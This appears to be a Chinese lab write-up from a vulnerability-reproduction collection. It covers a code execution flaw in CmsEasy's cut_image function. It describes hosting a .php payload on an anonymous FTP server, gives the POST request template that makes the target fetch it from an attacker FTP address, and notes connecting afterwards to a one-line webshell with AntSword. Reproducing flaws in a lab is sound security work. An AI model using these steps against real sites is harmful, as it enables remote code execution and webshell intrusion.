VulApps-c
Cisco ASA SNMP 远程代码执行漏洞(方程式 EXBA)
有问题,暂时搁置
CmsEasy < 5.6 20161012 cut_image 代码执行漏洞
漏洞相关代码
1 | function cut_image_action() { |
该函数没有判断$_POST['pic']
的后缀,而直接作为上传文件的$new_name
的后缀。
搭建ftp
ubuntu16.04 安装vsftpd
1 | sudo apt install vsftpd |
在配置文件/etc/vsftpd.conf
中开启匿名登录
1 | anonymous_enable=YES |
我尝试使用
ftp://username:password@ftp_url来获取图片,虽然人工测试可以获取文件,但是写入payload中并不能正确获取到文件,因此我在此开启了匿名,这样就可以免用户名免密码访问ftp
vsftpd会默认创建一个用户,通过cat /etc/passwd
可以查看
1 | ftp:x:123:133:ftp daemon,,,:/srv/ftp:/bin/false |
在目录/srv/ftp
中放入相关文件
POC使用
图片处理
将payload图片的后缀改为.php
虚拟机ip即端口为192.168.24.130:8000
url:http://192.168.24.130:8000/index.php?case=tool&act=cut_image
post-data:
1 | #pic={padding}ftp://攻击者FTP地址/{payload_file}&w={width}&h={height}&x1=0&x2={width}&y1=0&y2={height} |
padding:参考漏洞相关代码
中base_url
相关代码,该padding与网站基地址相关。当(substr($_POST['pic'],0,4) != 'http')
时,网站认为该文件是本站文件,则处理文件地址为相对地址。如网站存放在web根目录中,则padding=len('/')
,而如果网站存放在子目录cmseasy中,则padding=len('/cmseasy/')
post-data
中的ftp地址使用172.17.0.1,因为该测试环境使用docker搭建,与192.168.24.130不同网段,不能访问,因此使用172.17.0.1访问ftp
如果成功会返回(图为上传exp,该步骤相同,所以就不重新上传poc再截图了)
即payload文件会上传到目标服务器上
之后通过上一步骤的回显信息(上图红框内)获取poc访问路径
poc效果:
EXP使用
上传步骤同POC使用
成功上传后可以使用蚁剑
连接shell。一句话连接密码为c
效果: